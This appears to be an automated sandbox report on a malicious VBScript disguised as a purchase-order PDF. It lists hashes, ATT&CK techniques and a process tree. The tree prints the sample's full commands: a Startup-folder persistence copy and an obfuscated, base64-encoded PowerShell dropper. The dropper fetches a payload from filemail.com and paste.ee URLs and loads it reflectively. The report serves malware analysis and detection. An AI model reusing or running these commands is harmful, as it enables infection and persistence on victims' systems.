879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a

General

Target

PO2725724312_pdf.vbs
Size

12KB
MD5

2c548eb64145d9cd7308584191ff0976
SHA1

f2a0f23393dbe76a37819e3b76b7cb24070d696d
SHA256

879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a
SHA512

85d3f5ecab588ae6b715dccd14bfb6f5f2d729ddc5abf2bedb62cd6b3ce5bf3049d2615dade76993e76b683de76f443da93a1f273efe420d1c7bd626379dcf76
SSDEEP

192:k9L/aGdqjaQlUsQRwitSUCUaQlWL3MgZrdGHRkfkI:km/5+ww3ScgZrdGHRk8I

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	4840	WScript.exe
5	4840	WScript.exe
24	2500	powershell.exe
26	2500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5012	powershell.exe
700	powershell.exe
2500	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3120	cmd.exe
4212	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4212	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5012	powershell.exe
5012	powershell.exe
700	powershell.exe
700	powershell.exe
2500	powershell.exe
2500	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4840 wrote to memory of 3120	4840	WScript.exe	82
PID 4840 wrote to memory of 3120	4840	WScript.exe	82
PID 3120 wrote to memory of 4212	3120	cmd.exe	84
PID 3120 wrote to memory of 4212	3120	cmd.exe	84
PID 3120 wrote to memory of 5012	3120	cmd.exe	92
PID 3120 wrote to memory of 5012	3120	cmd.exe	92
PID 4840 wrote to memory of 700	4840	WScript.exe	93
PID 4840 wrote to memory of 700	4840	WScript.exe	93
PID 700 wrote to memory of 2500	700	powershell.exe	95
PID 700 wrote to memory of 2500	700	powershell.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO2725724312_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PO2725724312_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PO2725724312_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggKFtzVHJJbkddJHZFUkJPc2VwUmVmRXJlTmNFKVsxLDNdKydYJy1Kb2lOJycpICgoJ3MnKydoT2ltYWdlVXJsID0gaDVTaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvJysnbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT0yQWFfYlcnKydvOVJlJysndTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyJysnblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBoNVM7c2hPd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtzaE9pbWFnZUJ5dGVzID0gc2hPd2ViQ2xpZW50LkRvd25sb2FkRGF0YShzaE9pJysnbWFnZVVybCk7c2hPaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nJysnXTo6VVRGOC5HZXRTdHJpbmcnKycoc2hPaW1hZ2VCeXRlcyk7c2hPc3RhcnRGbGFnID0gaDVTPDxCQVNFNjRfU1RBUlQ+Pmg1UztzaE9lbmRGbGFnID0gaDVTPDxCQVNFNjRfRU5EPj5oNVM7c2hPc3RhcnRJbmRleCA9IHNoT2ltYWdlVGV4dC5JbmRleE9mKHNoT3N0YXJ0RmxhZyk7c2hPZW5kSW5kZXggPSBzaE9pbWFnZScrJ1RleHQuSW5kZXhPZihzaE9lbmRGbGFnKTtzaE9zdGFydEluJysnZGV4IC1nZSAwIC1hbmQgc2hPZW5kSW5kZXggLWd0IHNoT3N0YXJ0SW5kZXg7c2hPc3RhcnRJbmRleCArPSBzaE8nKydzdGFydEZsYWcuTGVuZ3RoO3NoT2Jhc2U2NExlbmd0aCA9IHNoT2VuZEluZGV4IC0gc2hPc3RhcicrJ3RJbmRleDtzaE9iYXNlNjRDbycrJ21tYW5kID0gc2hPaW1hZ2VUZXh0LlN1YicrJ3N0cmluZyhzaE9zdGFydEluZGV4LCBzaE9iYXMnKydlNjRMZW5ndGgpO3NoT2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHNoT2JhJysnc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBTZHcgRm9yRWFjaC0nKydPYmplY3QgeyBzaE9fIH0pWy0xLi4tKHNoT2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07c2hPY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhzaE9iYXNlNjRSZXZlcnNlZCk7c2hPbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOicrJzpMb2FkKHNoT2NvbW1hJysnbmRCeXRlcyk7c2hPdicrJ2FpJysnTWV0aG8nKydkID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChoNVNWQUloNVMpOycrJ3NoT3ZhaU1ldGhvZC5JbnZva2Uoc2hPbnVsbCwgQChoNVMwL3RjcDBSL2QvZWUuZXRzYXAvLzpzcHR0aGg1UywgaDVTZGVzYXRpdmFkb2gnKyc1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTTVNCdWlsZGg1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTZGVzYXRpdmFkb2g1UyxoNVNkZXNhdGl2YWRvaDVTLGg1U2Rlc2F0aXZhZG9oNVMsaDVTZGVzYXRpdmFkb2g1UyxoNVNkZXNhdGl2YWRvaDVTLGg1JysnU2Rlc2F0aXZhZG9oNVMsaDVTMWg1UyxoNVNkZXNhdGl2YWRvaDUnKydTKSk7JykuUkVwTEFDRSgoW0NoQVJdMTE1K1tDaEFSXTEwNCtbQ2hBUl03OSksJyQnKS5SRXBMQUNFKChbQ2hBUl0xMDQrW0NoQVJdNTMrW0NoQVJdODMpLFtzdHJpbkddW0NoQVJdMzkpLlJFcExBQ0UoJ1NkdycsW3N0cmluR11bQ2hBUl0xMjQpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( ([sTrInG]$vERBOsepRefEreNcE)[1,3]+'X'-JoiN'') (('s'+'hOimageUrl = h5Shttps://1017.filemail.co'+'m/api/file/get?filekey=2Aa_bW'+'o9Re'+'u45t7BU1kVgsd9pT9pgSSlvStGr'+'nTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f h5S;shOwebClient = New-Object System.Net.WebClient;shOimageBytes = shOwebClient.DownloadData(shOi'+'mageUrl);shOimageText = [System.Text.Encoding'+']::UTF8.GetString'+'(shOimageBytes);shOstartFlag = h5S<<BASE64_START>>h5S;shOendFlag = h5S<<BASE64_END>>h5S;shOstartIndex = shOimageText.IndexOf(shOstartFlag);shOendIndex = shOimage'+'Text.IndexOf(shOendFlag);shOstartIn'+'dex -ge 0 -and shOendIndex -gt shOstartIndex;shOstartIndex += shO'+'startFlag.Length;shObase64Length = shOendIndex - shOstar'+'tIndex;shObase64Co'+'mmand = shOimageText.Sub'+'string(shOstartIndex, shObas'+'e64Length);shObase64Reversed = -join (shOba'+'se64Command.ToCharArray() Sdw ForEach-'+'Object { shO_ })[-1..-(shObase64Command.Length)];shOcommandBytes = [System.Convert]::FromBase64String(shObase64Reversed);shOloadedAssembly = [System.Reflection.Assembly]:'+':Load(shOcomma'+'ndBytes);shOv'+'ai'+'Metho'+'d = [dnlib.IO.Home].GetMethod(h5SVAIh5S);'+'shOvaiMethod.Invoke(shOnull, @(h5S0/tcp0R/d/ee.etsap//:sptthh5S, h5Sdesativadoh'+'5S, h5Sdesativadoh5S, h5Sdesativadoh5S, h5SMSBuildh5S, h5Sdesativadoh5S, h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5'+'Sdesativadoh5S,h5S1h5S,h5Sdesativadoh5'+'S));').REpLACE(([ChAR]115+[ChAR]104+[ChAR]79),'$').REpLACE(([ChAR]104+[ChAR]53+[ChAR]83),[strinG][ChAR]39).REpLACE('Sdw',[strinG][ChAR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
c6b1e59dc7c967d48b6a5632551fdf9d

SHA1
e14ea9ed0e39314ada018c63b61f3f3b04ad0755

SHA256
8d511e3f0a517c0d98d8c47bab6b82f1395cd1067e50f321eaaa164c945e05a5

SHA512
b3a93866358ecc3efa719243fe49464fb425ca0a77da11a9a0cf0f6d6fddc6564d6673da6439cf7ea95bad7dbcac89d54fb51fb8c86233e351a69f52054ebd42

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qvlfp1dt.m05.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2500-38-0x000001A3433B0000-0x000001A343508000-memory.dmp

Filesize
1.3MB

Download
memory/5012-1-0x00007FFAA1C63000-0x00007FFAA1C65000-memory.dmp

Filesize
8KB

Download
memory/5012-2-0x000001EDF7600000-0x000001EDF7622000-memory.dmp

Filesize
136KB

Download
memory/5012-12-0x00007FFAA1C60000-0x00007FFAA2721000-memory.dmp

Filesize
10.8MB

Download
memory/5012-13-0x00007FFAA1C60000-0x00007FFAA2721000-memory.dmp

Filesize
10.8MB

Download
memory/5012-16-0x00007FFAA1C60000-0x00007FFAA2721000-memory.dmp

Filesize
10.8MB

Download
memory/5012-17-0x00007FFAA1C60000-0x00007FFAA2721000-memory.dmp

Filesize
10.8MB

Download

Analysis

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